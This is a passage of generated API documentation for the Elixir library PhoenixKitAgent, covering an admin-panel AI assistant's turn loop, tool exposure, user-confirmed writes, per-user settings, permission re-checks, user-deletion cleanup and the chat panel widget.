for a turn ref it does not run is ignored. Who may stop the turn is checked
where the request is made (PhoenixKitAgent.Turns.stop/4).
Nothing of a turn in the log
A turn carries the user's text, the history, the system prompt and the
session reference. None of it may reach the log, so: the task runs the turn
inside a guard and ends with {:shutdown, _} whatever happens (no crash
report; a crash is logged as the exception's module and where it happened,
without arguments); a refusal returns only the class of an exit
(exit_class/0), never the exit term; and format_status/1 keeps the
turn out of this process's own crash report.
The start handshake
The task is monitored before it does anything. It registers in
PhoenixKitAgent.Turns.Registry under its turn_ref, tells the process
that starts the turn so, and waits for that process's go-ahead — not this
one's. So a turn runs only once start_turn/3 has returned {:ok, pid} to
its caller, and is then already reachable for "Stop". A caller that gave up
(this process was too busy to take the start in time, or the task did not
report ready) sends no go-ahead, and the task ends on its own without
touching the chat or the locks its caller has already released.
The deadline is armed only when the task reports that it got the
go-ahead, so a task whose caller gave up can never be killed as :deadline
and write a notice under a turn ref nobody saw.
If this process goes down, the supervisor (:rest_for_one) takes the
running turns down with it; their locks then expire by their TTL.

      


      
        Summary


  
    Types
  


    
      
        exit_class()

      


        What kind of exit made a start fail — never the exit term itself, which can
hold the whole turn.



    





  
    Functions
  


    
      
        broadcast_stop(turn_ref)

      


        Asks the monitor of whichever node runs turn_ref to stop it (see "Stopping
a turn of another node"); the message is the turn ref only. Asynchronous: a
turn that no node runs is not told. {:error, :not_running} when PubSub
refuses the message or is not there (it restarts).



    


    
      
        check_stop()

      


        In a turn's task: ends it as {:shutdown, reason} if it was asked to stop,
else :ok. The turn calls it between its steps.



    


    
      
        child_spec(init_arg)

      


        Returns a specification to start this module under a supervisor.



    


    
      
        request_stop(pid, reason)

      


        Asks the turn whose task is pid to stop (reason :stopped); it is
killed if it has not stopped within the grace period. Asynchronous.
{:error, :not_running} while the monitor is not up (it restarts, and its
tasks go with it).



    


    
      
        start_turn(turn, deadline_ms, callers)

      


        Starts turn (see PhoenixKitAgent.Turns.Runner) in a task with
deadline_ms to live, and lets it run once it is registered (see "The start
handshake"). callers become the task's $callers, so the process that
started the turn is its caller, as for a Task it starts.



    


    
      
        stop_grace_ms()

      


        The grace period, in ms, a task asked to stop has before it is killed
(:turn_stop_grace_ms, default 30 s).



    


    
      
        topic(turn_ref)

      


        The PubSub topic of the turn turn_ref: agent:turn:<turn_ref>.



    





      


      
        Types


        


  
    
      
    
    
      exit_class()



        
          
        

    

  


  

      

          @type exit_class() :: :timeout | :noproc | :shutdown | :killed | :unavailable | :crash


      


What kind of exit made a start fail — never the exit term itself, which can
hold the whole turn.

  


        

      

      
        Functions


        


  
    
      
    
    
      broadcast_stop(turn_ref)



        
          
        

    

  


  

      

          @spec broadcast_stop(String.t()) :: :ok | {:error, :not_running}


      


Asks the monitor of whichever node runs turn_ref to stop it (see "Stopping
a turn of another node"); the message is the turn ref only. Asynchronous: a
turn that no node runs is not told. {:error, :not_running} when PubSub
refuses the message or is not there (it restarts).

  



  
    
      
    
    
      check_stop()



        
          
        

    

  


  

      

          @spec check_stop() :: :ok


      


In a turn's task: ends it as {:shutdown, reason} if it was asked to stop,
else :ok. The turn calls it between its steps.

  



  
    
      
    
    
      child_spec(init_arg)



        
          
        

    

  


  

Returns a specification to start this module under a supervisor.
See Supervisor.

  



  
    
      
    
    
      request_stop(pid, reason)



        
          
        

    

  


  

      

          @spec request_stop(pid(), :stopped) :: :ok | {:error, :not_running}


      


Asks the turn whose task is pid to stop (reason :stopped); it is
killed if it has not stopped within the grace period. Asynchronous.
{:error, :not_running} while the monitor is not up (it restarts, and its
tasks go with it).

  



  
    
      
    
    
      start_turn(turn, deadline_ms, callers)



        
          
        

    

  


  

      

          @spec start_turn(PhoenixKitAgent.Turns.Runner.turn(), pos_integer(), [pid()]) ::
  {:ok, pid()}
  | {:error,
     {:monitor_unavailable, exit_class()} | {:not_started, exit_class()}}


      


Starts turn (see PhoenixKitAgent.Turns.Runner) in a task with
deadline_ms to live, and lets it run once it is registered (see "The start
handshake"). callers become the task's $callers, so the process that
started the turn is its caller, as for a Task it starts.

  



  
    
      
    
    
      stop_grace_ms()



        
          
        

    

  


  

      

          @spec stop_grace_ms() :: non_neg_integer()


      


The grace period, in ms, a task asked to stop has before it is killed
(:turn_stop_grace_ms, default 30 s).

  



  
    
      
    
    
      topic(turn_ref)



        
          
        

    

  


  

      

          @spec topic(String.t()) :: String.t()


      


The PubSub topic of the turn turn_ref: agent:turn:<turn_ref>.

  


        

      


  

  
    
    PhoenixKitAgent.Turns.Runner - PhoenixKitAgent v0.1.0
    
    

    


  
  

    
PhoenixKitAgent.Turns.Runner 
    



      
The rounds of one turn (spec §6.1, "раунд r = 1..max_tool_rounds"), run in
the turn's task. The task first stores the user's message (spec §6.1 step
	and links its attachments, so a turn that never ran leaves nothing in the
chat. Then each round:

  a. checks the session again (Conversations.authorize_session/2), that
 the chat is still there, that the AI module is on and that the turn
 still holds its locks (`Locks.held?/3`) — a revoked session, a blocked
 user, a lost `agent` permission, a switched-off assistant or a lock
 taken over end the turn with a notice; a deleted chat ends it quietly;
  b. lists the session's tools (Executor.visible_for/3, allow: :all: the
 read tools, and the write tools of the modules that let a session
 write, `api_session_write_modules` in core) and shows them to the model
 (`PhoenixKitAgent.Turns.Tools`);
  c. sends the system prompt, the history and this turn's messages — of the
 results of earlier rounds of this turn only as many as fit, together
 with the newest round's, in `10 × agent_tool_result_chars` characters
 (spec §6.4): an older one beyond that is sent as a short stub that says
 it was left out (the database keeps it whole); the pictures of the
 user's message, if it has any, go along with it as image parts (or a
 note, where the model cannot see them or a picture cannot be made) in
 every round of this turn only — the history keeps the text — and such a
 turn is never captured into the AI journal
 (`PhoenixKitAgent.Attachments.model_parts/3`); a first model call with
 pictures that the provider refuses as a request (`api_error` 400, 413,
 415 or 422; not a 404 or a 5xx) takes the message's files off it, to be
 sent again; a model that is not known to take images when the turn
 starts is not called: the files go back, with a `pictures_not_seen`
 notice;
  d. calls the model (PhoenixKitAI.complete/3, source: "agent", the user,
 the AI task `agent.chat` with the turn's admission
 (`guard_admission:`, from `PhoenixKitAI.Guard.admit/4` in
 `PhoenixKitAgent.Turns`), no cache, the module's content capture, and
 the uuid the answer will be stored under and the turn's ref as
 `attribution`); a failed call is a notice under its code, all in one
 place (`model_failed/4`) — `phoenix_kit_ai` itself tells its watchers
 of a refusal of its budget;
  e. stores the answer; a marker ⟦off_purpose: <reason>⟧ at its very end
 (the model flagging the request, `PhoenixKitAgent.Prompt`) is cut off
 before it is stored and reported to the guard
 (`PhoenixKitAI.Guard.report_off_purpose/4`, keyed by the turn's ref,
 so one flag per turn); a marker anywhere else is left as it is and
 flags nothing. Without tool calls the turn is over. A tool call
 without a name is dropped (not run, stored or sent back); an answer
 with neither text nor a named tool call is stored as an
 `empty_answer` notice, not as an empty answer;
  f. runs each tool call — only a name shown in this round reaches the
 executor (`execute_as/5`, `allow: :all`, `via: "agent"`), any other is
 `denied`, and so is every call past the 10th of the round — and stores
 each result, truncated. Before each call the turn checks that it still
 holds its locks: a lock taken over ends the turn there, with a notice.
A write
Core never runs a write of a live session on its call: it answers the
preview and holds the call in a confirmation row bound to the user
("status": "confirmation_required", "confirmation_id"). The call is
stored as a tool message needs_confirmation with that uuid in
confirmation_uuid and the answer that asked for it in
assistant_message_uuid; its tool_result keeps the status and the uuid
only — never a code, the preview or the arguments. The card in the chat
shows it (PhoenixKitAgent.Confirmations).
	At most one write of a round waits: a write after it in the same answer
is denied ("confirm the earlier change first"), and so is a write whose
call id another call of the answer shares (the click finds its arguments
by that id). A read after it is denied too ("held for confirmation"):
the turn ends with the round, the model would never read its result.
	A write of the same tool with the same arguments as a card of the chat
that still waits is denied ("already waiting for confirmation"): no
second card of one change.
	A round that left a write waiting ends the turn: the model is not called
again, so no answer can say that the change was made. The card is the
end of the turn; what the click did reaches the model as a notice in the
history of the next turn (PhoenixKitAgent.Turns.History).

Stopping between steps
"Stop" and the deadline do not kill the task at once: the monitor asks it to
stop (PhoenixKitAgent.Turns.Monitor), and the task looks for that request
before it stores the user's message, before each round, as soon as the
model has answered and before each tool call — and then ends as
{:shutdown, :stopped | :deadline} without storing anything more (a
partial answer is not kept). A model call under way is let finish, so its
row in the AI journal — what the call cost — is written. Only a task that
does not get there within the grace period is killed.
A message the database refuses ends the task as {:shutdown, :store_failed} (the log gets the field names and validation codes only),
and the monitor writes an interrupted notice; a chat deleted mid-turn
ends it as {:shutdown, :chat_gone}, with nothing written and no further
model call.
Every stored message is broadcast by PhoenixKitAgent.Conversations. Ending
the task (stop, deadline, crash) and the locks are
PhoenixKitAgent.Turns.Monitor's business.
The AI request of a message
An answer of complete/3 names its journal row ("request_uuid"), and
the message is stored with it as ai_request_uuid. The row itself
reaches record_usage/1 (PhoenixKitAgent.handle_ai_usage/1, a
phoenix_kit_ai usage sink) with the attribution the call carried,
synchronously, in the calling process and before complete/3 returns. So
the turn says which message uuid it waits for, and record_usage/1 keeps
the row for it in the process: the message gets the row's model, tokens,
cost and latency, and a failed call's notice its row (an error answer
names none). A row the guard refused never reaches a sink: its notice
has no ai_request_uuid. A row for an already stored message —
from any other process — sets its ai_request_uuid in the database, only
for a message of the row's own user that has none yet.

      


      
        Summary


  
    Types
  


    
      
        turn()

      


        Everything a turn needs; built by PhoenixKitAgent.Turns.start/6.



    





  
    Functions
  


    
      
        record_usage(request)

      


        The usage sink behind PhoenixKitAgent.handle_ai_usage/1: links an AI
request row to the message its attribution names (see the moduledoc).



    


    
      
        run(turn)

      


        Stores the user's message of turn, then runs its rounds until the model
answers without tool calls.



    





      


      
        Types


        


  
    
      
    
    
      turn()



        
          
        

    

  


  

      

          @type turn() :: %{
  turn_ref: String.t(),
  session_ref: PhoenixKit.Users.Auth.SessionRef.t(),
  user_uuid: String.t(),
  conversation_uuid: String.t(),
  endpoint_uuid: String.t(),
  text: String.t(),
  attachment_uuids: [String.t()],
  system_prompt: String.t() | nil,
  history: [map()],
  request_context: keyword(),
  max_rounds: pos_integer(),
  result_chars: pos_integer(),
  capture?: boolean(),
  guard_admission: String.t() | nil
}


      


Everything a turn needs; built by PhoenixKitAgent.Turns.start/6.

  


        

      

      
        Functions


        


  
    
      
    
    
      record_usage(request)



        
          
        

    

  


  

      

          @spec record_usage(struct()) :: :ok


      


The usage sink behind PhoenixKitAgent.handle_ai_usage/1: links an AI
request row to the message its attribution names (see the moduledoc).

  



  
    
      
    
    
      run(turn)



        
          
        

    

  


  

      

          @spec run(turn()) :: :ok


      


Stores the user's message of turn, then runs its rounds until the model
answers without tool calls.
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PhoenixKitAgent.Turns.Supervisor 
    



      
The processes of the turn loop, started by the host through
PhoenixKitAgent.children/0:
	PhoenixKitAgent.Turns.Registry — a running turn's task under its
turn_ref (what "Stop" finds it by);
	PhoenixKitAgent.Turns.Monitor — starts, watches and ends the turns;
	PhoenixKitAgent.Turns.TaskSupervisor — the turns' tasks.

:rest_for_one: when the monitor goes down, the running turns go down with
it, so no turn ever runs unwatched (past its deadline, or with its locks
never released).

      


      
        Summary


  
    Functions
  


    
      
        child_spec(init_arg)

      


        Returns a specification to start this module under a supervisor.



    





      


      
        Functions


        


  
    
      
    
    
      child_spec(init_arg)



        
          
        

    

  


  

Returns a specification to start this module under a supervisor.
See Supervisor.
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PhoenixKitAgent.Turns.Tools 
    



      
How the tools of a round are shown to the model, and how what it sends back
is taken (spec §6.1 b, f; §6.2, §6.4).
	The tools are those core lists for the session
(PhoenixKit.API.Executor.visible_for/3 with allow: :all): the module
adds no filter of its own and opens nothing beyond them. Whether a
session sees the write tools of a module is core's setting
api_session_write_modules (the "Agent may act" box of Settings → API),
and a write never runs on the call: core holds it for the user's
confirmation (PhoenixKitAgent.Confirmations).
	Names: the model sees PhoenixKit.API.MCP.Names.to_mcp/1 of the registry
name (catalogue.list_products → catalogue_list_products); a name that
is not 1-64 characters of [a-zA-Z0-9_-] (what model APIs accept) is
left out, and of two tools with one MCP name the first wins
(Names.dedupe/1). for_model/1 returns the map back from that name to
the tool, and only a name in it is ever executed.
	Schemas: PhoenixKit.API.Executor.input_schema/1 without the control
fields (PhoenixKit.API.ControlFields: dry_run, confirm_token,
idempotency_key) — the model neither sees nor sets them; they are cut
from its arguments too (arguments/1).
	Results: the JSON of a result longer than agent_tool_result_chars is
replaced by %{"truncated" => true, "partial" => <its beginning>, "hint" => …} whose own JSON fits the limit (fit/2). The same value is kept in
the database.


      


      
        Summary


  
    Functions
  


    
      
        arguments(arguments)

      


        The arguments of a tool call as the executor's input: the JSON object the
model sent, without control fields. :error for anything that is not a
JSON object.



    


    
      
        fit(result, limit)

      


        result as it is kept and sent to the model: itself when its JSON is at
most limit characters, else the truncated form (see the moduledoc).



    


    
      
        for_model(tools)

      


        The tool definitions for the model (OpenAI function tools) and the map from
each model name to its tool.



    


    
      
        held(arg1)

      


        The uuid of the confirmation a write's answer says it waits for — core's
prompt for a live session ("executed": false, "status": "confirmation_required", "confirmation_id") — else :error.



    


    
      
        held_result(uuid)

      


        What is kept of a write that waits for confirmation uuid, and sent back to
the model: the status and the uuid, never a code, the preview or the
arguments.



    





      


      
        Functions


        


  
    
      
    
    
      arguments(arguments)



        
          
        

    

  


  

      

          @spec arguments(term()) :: {:ok, map()} | :error


      


The arguments of a tool call as the executor's input: the JSON object the
model sent, without control fields. :error for anything that is not a
JSON object.

  



  
    
      
    
    
      fit(result, limit)



        
          
        

    

  


  

      

          @spec fit(map(), pos_integer()) :: map()


      


result as it is kept and sent to the model: itself when its JSON is at
most limit characters, else the truncated form (see the moduledoc).

  



  
    
      
    
    
      for_model(tools)



        
          
        

    

  


  

      

          @spec for_model([PhoenixKit.API.Tool.t()]) ::
  {[map()], %{required(String.t()) => PhoenixKit.API.Tool.t()}}


      


The tool definitions for the model (OpenAI function tools) and the map from
each model name to its tool.

  



  
    
      
    
    
      held(arg1)



        
          
        

    

  


  

      

          @spec held(term()) :: {:ok, String.t()} | :error


      


The uuid of the confirmation a write's answer says it waits for — core's
prompt for a live session ("executed": false, "status": "confirmation_required", "confirmation_id") — else :error.

  



  
    
      
    
    
      held_result(uuid)



        
          
        

    

  


  

      

          @spec held_result(String.t()) :: map()


      


What is kept of a write that waits for confirmation uuid, and sent back to
the model: the status and the uuid, never a code, the preview or the
arguments.
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PhoenixKitAgent.UserConfig 
    



      
The assistant settings of one user (spec §5.4, §7) and how they combine with
the module's.
What is in effect
effective/1 is the one place the turn loop reads a user's settings: the
user's own value (PhoenixKitAgent.Schemas.UserSettings), else the module
default (PhoenixKitAgent.Config). A nil field means "the default"; 0 is
a real limit. A blank prompt is no prompt. The model (endpoint_uuid) is read
when a turn starts, so a change takes effect with the next turn of any chat
(spec §14, В6).
enabled?/1 is the user's own switch: false only when an admin switched the
assistant off for them (it never grants the agent permission).
Who writes what
	The user — put_personal_instructions/3 and get_personal_instructions/2,
for their own personal_instructions only. Like
PhoenixKitAgent.Conversations they act for a live browser session and
need impersonated: boolean in the options; an impersonated session, a
revoked one, a user without agent or one switched off is refused. The
write replaces that one column, so nothing an admin set can change
through it.
	An admin — admin_update/4, with the scope of a person who holds
agent.manage (checked again here, so a caller that forgets is refused).
It writes the switch, the model, the admin's prompt, the limits and the
notice flags (UserSettings.admin_changeset/2) and records who changed
which fields for whom in the core Activity log — field names only, never
a prompt text. An Owner's settings are changed by an Owner only, and a
form opened before someone else's save does not overwrite it
(expected:).


      


      
        Summary


  
    Types
  


    
      
        effective()

      


        The settings in force for a user.



    





  
    Functions
  


    
      
        admin_update(actor_scope, target_user_uuid, attrs, opts \\ [])

      


        Saves what an admin sets for target_user_uuid (attrs as
UserSettings.admin_changeset/2 casts them) on behalf of actor_scope,
which must hold agent.manage — and be an Owner when the target is one: an
Owner's assistant is not set by the people an Owner manages. The row is
created if the user has none, and locked while it is changed.



    


    
      
        agent_user?(user_uuid)

      


        Whether user_uuid is one of agent_users/0.



    


    
      
        agent_users()

      


        The people the assistant is for: active users who hold agent through a role
(and the Owners, who hold every permission), by e-mail. The admin screen lists
these.



    


    
      
        effective(user_uuid)

      


        The settings in force for user_uuid: their own value, else the module
default (see the moduledoc). own lists the fields (model, prompt, limits)
the user's row sets itself.



    


    
      
        effective_many(user_uuids)

      


        effective/1 for several users with one query and one read of the module
defaults: %{user_uuid => effective}.



    


    
      
        enabled?(user_uuid)

      


        Whether the assistant is not switched off for the user (see the moduledoc).



    


    
      
        endpoint_uuids()

      


        The endpoints the assistant's turns use now: the module default and
every user's own model. It backs the endpoints of the agent.chat AI
task (PhoenixKitAgent.ai_tasks/0).



    


    
      
        get(user_uuid)

      


        The user's settings row as it is stored, for the admin's form: an unsaved
%UserSettings{} when they have none. nil for a malformed uuid.



    


    
      
        get_personal_instructions(session_ref, opts)

      


        The session user's own personal instructions (nil when none). Refusals are
those of PhoenixKitAgent.Conversations.



    


    
      
        may_configure?(actor_scope, target_user_uuid)

      


        Whether actor_scope may set the assistant of target_user_uuid with
admin_update/4: it holds agent.manage, and is an Owner if the target is.



    


    
      
        put_personal_instructions(session_ref, text, opts)

      


        Sets the session user's own personal instructions (a blank text clears them).
They are the user's, ranked below the module's and the admin's prompt (spec
§7.1). Only this one column is written, whatever else the row holds; a text
over 4000 characters, or one that is not text, is {:error, changeset} and
nothing is written.



    


    
      
        watcher_candidates()

      


        The people who may be chosen to be told when someone reaches a limit
(agent_limit_watchers, spec §7.4): active users who hold agent.manage
through a role, the Owners, and whoever is a watcher now, by e-mail.



    





      


      
        Types


        


  
    
      
    
    
      effective()



        
          
        

    

  


  

      

          @type effective() :: %{
  user_uuid: String.t(),
  enabled?: boolean(),
  endpoint_uuid: String.t() | nil,
  system_prompt: String.t() | nil,
  personal_instructions: String.t() | nil,
  daily_cost_limit_micro_usd: non_neg_integer(),
  monthly_cost_limit_micro_usd: non_neg_integer(),
  daily_turn_limit: non_neg_integer(),
  max_attachment_mb: non_neg_integer(),
  max_attachments_per_message: non_neg_integer(),
  notify_on_limit: boolean(),
  own: [atom()]
}


      


The settings in force for a user.

  


        

      

      
        Functions


        


    

  
    
      
    
    
      admin_update(actor_scope, target_user_uuid, attrs, opts \\ [])



        
          
        

    

  


  

      

          @spec admin_update(PhoenixKit.Users.Auth.Scope.t() | nil, term(), map(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.UserSettings.t(), [atom()]}
  | {:error,
     :forbidden
     | :not_found
     | :stale
     | {:model_unfit | :model_unverified, [atom()]}
     | Ecto.Changeset.t()}


      


Saves what an admin sets for target_user_uuid (attrs as
UserSettings.admin_changeset/2 casts them) on behalf of actor_scope,
which must hold agent.manage — and be an Owner when the target is one: an
Owner's assistant is not set by the people an Owner manages. The row is
created if the user has none, and locked while it is changed.
expected: %{field => value} in opts is what the caller's form showed
when it was opened: when the stored row no longer holds those values (an
admin saved in between), nothing is written and the answer is {:error, :stale}, so a stale form never overwrites that change unseen. Fields not
named there do not count.
Returns {:ok, settings, changed_fields}; when fields changed, the actor,
the user (as the resource of the entry) and the field names go to the core
Activity log (action agent.user_settings_updated) — no values, and no
notification for the user. {:error, :forbidden} without the permission
(or for an Owner's settings, to a non-Owner), {:error, :not_found} for an
unknown user, {:error, changeset} for an invalid value (nothing is
written). A newly chosen model must fit the agent.chat AI task
(PhoenixKitAI.Tasks.check_selection/2): one known not to take tools is
{:error, {:model_unfit, missing}}, one nobody knows takes them {:error, {:model_unverified, unclear}}, and nothing is written; none (the module
default) and the model already saved are not checked.

  



  
    
      
    
    
      agent_user?(user_uuid)



        
          
        

    

  


  

      

          @spec agent_user?(term()) :: boolean()


      


Whether user_uuid is one of agent_users/0.

  



  
    
      
    
    
      agent_users()



        
          
        

    

  


  

      

          @spec agent_users() :: [PhoenixKit.Users.Auth.User.t()]


      


The people the assistant is for: active users who hold agent through a role
(and the Owners, who hold every permission), by e-mail. The admin screen lists
these.

  



  
    
      
    
    
      effective(user_uuid)



        
          
        

    

  


  

      

          @spec effective(String.t()) :: effective()


      


The settings in force for user_uuid: their own value, else the module
default (see the moduledoc). own lists the fields (model, prompt, limits)
the user's row sets itself.

  



  
    
      
    
    
      effective_many(user_uuids)



        
          
        

    

  


  

      

          @spec effective_many([String.t()]) :: %{required(String.t()) => effective()}


      


effective/1 for several users with one query and one read of the module
defaults: %{user_uuid => effective}.

  



  
    
      
    
    
      enabled?(user_uuid)



        
          
        

    

  


  

      

          @spec enabled?(String.t()) :: boolean()


      


Whether the assistant is not switched off for the user (see the moduledoc).

  



  
    
      
    
    
      endpoint_uuids()



        
          
        

    

  


  

      

          @spec endpoint_uuids() :: [String.t()]


      


The endpoints the assistant's turns use now: the module default and
every user's own model. It backs the endpoints of the agent.chat AI
task (PhoenixKitAgent.ai_tasks/0).

  



  
    
      
    
    
      get(user_uuid)



        
          
        

    

  


  

      

          @spec get(term()) :: PhoenixKitAgent.Schemas.UserSettings.t() | nil


      


The user's settings row as it is stored, for the admin's form: an unsaved
%UserSettings{} when they have none. nil for a malformed uuid.

  



  
    
      
    
    
      get_personal_instructions(session_ref, opts)



        
          
        

    

  


  

      

          @spec get_personal_instructions(
  PhoenixKitAgent.Conversations.session_ref(),
  keyword()
) ::
  {:ok, String.t() | nil} | {:error, PhoenixKitAgent.Conversations.refusal()}


      


The session user's own personal instructions (nil when none). Refusals are
those of PhoenixKitAgent.Conversations.

  



  
    
      
    
    
      may_configure?(actor_scope, target_user_uuid)



        
          
        

    

  


  

      

          @spec may_configure?(PhoenixKit.Users.Auth.Scope.t() | nil, term()) :: boolean()


      


Whether actor_scope may set the assistant of target_user_uuid with
admin_update/4: it holds agent.manage, and is an Owner if the target is.

  



  
    
      
    
    
      put_personal_instructions(session_ref, text, opts)



        
          
        

    

  


  

      

          @spec put_personal_instructions(
  PhoenixKitAgent.Conversations.session_ref(),
  term(),
  keyword()
) ::
  {:ok, String.t() | nil}
  | {:error, PhoenixKitAgent.Conversations.refusal() | Ecto.Changeset.t()}


      


Sets the session user's own personal instructions (a blank text clears them).
They are the user's, ranked below the module's and the admin's prompt (spec
§7.1). Only this one column is written, whatever else the row holds; a text
over 4000 characters, or one that is not text, is {:error, changeset} and
nothing is written.

  



  
    
      
    
    
      watcher_candidates()



        
          
        

    

  


  

      

          @spec watcher_candidates() :: [PhoenixKit.Users.Auth.User.t()]


      


The people who may be chosen to be told when someone reaches a limit
(agent_limit_watchers, spec §7.4): active users who hold agent.manage
through a role, the Owners, and whoever is a watcher now, by e-mail.
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What the module does before core deletes a user (before_user_delete/1,
spec §5.7). Core calls it outside the delete's transaction, whether or not the
module is enabled, and a failure here never stops the delete.
Known gap (MVP): core runs this hook before the transaction that
deletes the user. If that delete then fails, the user stays, but their
attachment files are already gone from Storage for good. The fix — unlink
here and delete the files from a job once the user row is gone — needs a
core hook after the delete, or a job; it is not built.
	Attachment files. Every Storage file of the user's attachments is
deleted completely (Storage.delete_file_completely/1) — only if it
lies in the module's hidden library (PhoenixKitAgent.Library) and
nothing but this user's attachments refers to it. Anything else (a file
in Media, a file another row points at) is only unlinked from the
attachment and left alone. Without this the files would stay behind,
with personal data, owned by nobody (phoenix_kit_files.user_uuid is
set to NULL with the user).
	The user's folder in the module's library: files still in it that
nothing refers to are deleted the same way, then the folder is removed
(a file that is kept moves to the library root).
	The user's uuid leaves notify_user_uuids of other users' settings and
the agent_limit_watchers setting.

The user's rows in the module's tables are deleted with the user row by the
database (ON DELETE CASCADE).
"Refers to" means a row of any table whose foreign key points at the file,
found in the database catalogue, so a module that links files later is
covered too. Storage's own rows of the file (its instances, its system
children) do not count; a folder link, a derived copy or a folder cover does.
A reference without a foreign key cannot be seen; the hidden library is not
offered by any picker, which is what keeps such references from existing.
Steps 1-3 run only when the module's tables are there: the version marker
is read in the schema the module's tables live in (config :phoenix_kit, prefix:). When it reads 0 while the module's library exists, the cleanup
is skipped with a warning (no user data in it). Failures are logged as
their class only — never a file name or a value.

      


      
        Summary


  
    Functions
  


    
      
        run(user_uuid)

      


        Runs the cleanup for user_uuid. Always :ok; failures are logged.



    





      


      
        Functions


        


  
    
      
    
    
      run(user_uuid)



        
          
        

    

  


  

      

          @spec run(String.t()) :: :ok


      


Runs the cleanup for user_uuid. Always :ok; failures are logged.
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The permission checks of the module's admin pages, made again on every event.
A LiveView keeps the scope it got at mount, so a role taken away while the
page is open, a switch to another role or a logout would still read as the
rights of the mount. Each check here asks for two scopes and passes only if
both hold:
	the socket's (:phoenix_kit_current_scope, set by core's on_mount);
	the scope of the session as it is now
(PhoenixKit.Users.Auth.SessionRef.scope_for_session/2): the session
must still be live, its user active and confirmed, and the scope is
narrowed to the role the session acts as — not the user's default role.

The page calls assign_session/2 in its mount/3. The session reference is
read from the signed session only in the connected mount; the static render
has none and is checked against the socket's scope alone, which core's
on_mount has just built from this session. A connected page without a
live session is refused everything.

      


      
        Summary


  
    Functions
  


    
      
        assign_session(socket, session)

      


        Keeps the reference of the session the page runs in (see the moduledoc):
read from session in the connected mount, nil in the static render.



    


    
      
        may_manage?(socket)

      


        Whether the signed-in session holds agent.manage now (see the moduledoc).



    


    
      
        owner?(socket)

      


        Whether the signed-in session is an Owner's now (see the moduledoc).



    


    
      
        session_scope(socket)

      


        The scope of the session as it is now (nil if it can no longer act, see
the moduledoc): what a context function that checks a permission itself is
given.



    


    
      
        user_uuid(socket)

      


        The uuid of the signed-in user, or nil.



    





      


      
        Functions


        


  
    
      
    
    
      assign_session(socket, session)



        
          
        

    

  


  

      

          @spec assign_session(Phoenix.LiveView.Socket.t(), map()) ::
  Phoenix.LiveView.Socket.t()


      


Keeps the reference of the session the page runs in (see the moduledoc):
read from session in the connected mount, nil in the static render.

  



  
    
      
    
    
      may_manage?(socket)



        
          
        

    

  


  

      

          @spec may_manage?(Phoenix.LiveView.Socket.t()) :: boolean()


      


Whether the signed-in session holds agent.manage now (see the moduledoc).

  



  
    
      
    
    
      owner?(socket)



        
          
        

    

  


  

      

          @spec owner?(Phoenix.LiveView.Socket.t()) :: boolean()


      


Whether the signed-in session is an Owner's now (see the moduledoc).

  



  
    
      
    
    
      session_scope(socket)



        
          
        

    

  


  

      

          @spec session_scope(Phoenix.LiveView.Socket.t()) ::
  PhoenixKit.Users.Auth.Scope.t() | nil


      


The scope of the session as it is now (nil if it can no longer act, see
the moduledoc): what a context function that checks a permission itself is
given.

  



  
    
      
    
    
      user_uuid(socket)



        
          
        

    

  


  

      

          @spec user_uuid(Phoenix.LiveView.Socket.t()) :: String.t() | nil


      


The uuid of the signed-in user, or nil.
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The assistant in the admin header (spec §10): a button before the
notifications bell, the list of the user's chats under it, and the chat
panel on the right. A sticky LiveView, rendered by core's admin layout as
the module's header widget (PhoenixKitAgent.header_widgets/0), so it keeps
its state across admin navigation.
Whose panel it is
The widget's session (PhoenixKitAgent.header_widget_session/1) holds only
the user's uuid and locale. Who acts is decided here, in the connected
mount, from the session LiveView hands the panel — the cookie session merged
in (spec §6.5): the session reference (SessionRef.from_session/1) and
whether the account is borrowed (MultiSession.impersonated?/1). The panel
then works only when the session is not impersonated, belongs to the uuid
of the widget's session, and may use the assistant
(PhoenixKitAgent.Conversations.authorize_session/2). Otherwise — and in the
static render, before any of it is known — it renders nothing and every
event is ignored: no list, no chat, no call (spec §8, В13).
Every event goes through PhoenixKitAgent.Conversations,
PhoenixKitAgent.Turns, PhoenixKitAgent.Attachments and
PhoenixKitAgent.UserConfig with the reference and the flag, so each one is
checked against the session's scope as it is at that moment; a uuid from the
browser is only ever a chat or a file to look up for that user. A chat's
topic is subscribed to only through Conversations.subscribe/3, after its
ownership is checked.
The feed
Opening a chat reads its latest messages (Conversations.list_messages/3,
latest: true) into a stream; "Earlier messages" brings the page before
(before: the first one shown). A new message is announced on the chat's
topic and read with list_messages/3 (after: the last one shown) or
get_message/4 — the chat is never read again whole; a message of the user
moves the chat to the top of the list with its title. Only the chat shown is
listened to. A tool call is shown folded, by its summary
(tool_summary), never with what the tool returned; a model answer through
PhoenixKitAgent.Web.Markdown (no outside pictures, no raw HTML, every link
with its domain and rel="noopener noreferrer nofollow", spec §8.2).
A write the model asked for is a confirmation card in the feed
(PhoenixKitAgent.Confirmations): every tool message waiting for one is
shown with what Confirmations.cards/4 says of it — core's preview through
core's operation_preview component, the arguments the model sent as plain
text (never markdown or a link), and "Run" / "Cancel the change"; "Ask
again" once it ran out; only "Cancel the change" once the user may no
longer use its tool. Opening a chat first gives the cards core no longer
holds their notice (Confirmations.settle_lapsed/3: a click lost with its
node, a row that ran out), so none of them waits on the page or above it.
Opening the chat, "Earlier messages" and every new
message find the cards by their confirmation_uuid, so a card still waiting
is waiting again after a reload; the notice that settles a card renders it
again. A card that waits (no notice yet) further back than the page of the
chat the panel loaded is found too (Confirmations.waiting_cards/3): it is
shown above the feed (under an id of its own), until "Earlier messages"
reaches it and it takes its place in the feed. A click
runs off this process: a task under PhoenixKitAgent.Confirmations.TaskSupervisor,
not linked to the panel, which the panel waits for (start_async/3), so a
closed tab does not stop a write half-way. A click while the card is busy
does nothing; a refusal is shown on the card, which keeps waiting.
A chat that is locked by a turn lost with its node gets the notice "the
answer was interrupted" when it is opened (Turns.settle_interrupted/3).
A notice is shown by its error code in the panel's language
(PhoenixKitAgent.Web.Dock.Texts.notice/1), else as it was stored.
"New chat" only empties the panel: the chat is made with its first message
or file, and deleted again (Conversations.delete_conversation/3) when that
message or file is refused while nothing else is in it.
Sending, stopping, files
"Send" starts a turn (Turns.start/6) with the files that are ready, the
page the browser is on (a path, for the model's context, spec §7.1 p.5) and
the user's locale; an exception there is caught, logged as its class only,
and shown as a notice in the panel. A send while the panel shows a turn
first asks the chat's lock (Turns.settle_interrupted/3): while the turn
runs the send is let go; a turn whose end never reached the panel is let go
of, and the message goes. A chat busy with a turn of another tab shows that
turn, with its "Stop".
"Stop" asks the turn to stop — on whichever node runs it (Turns.stop/4
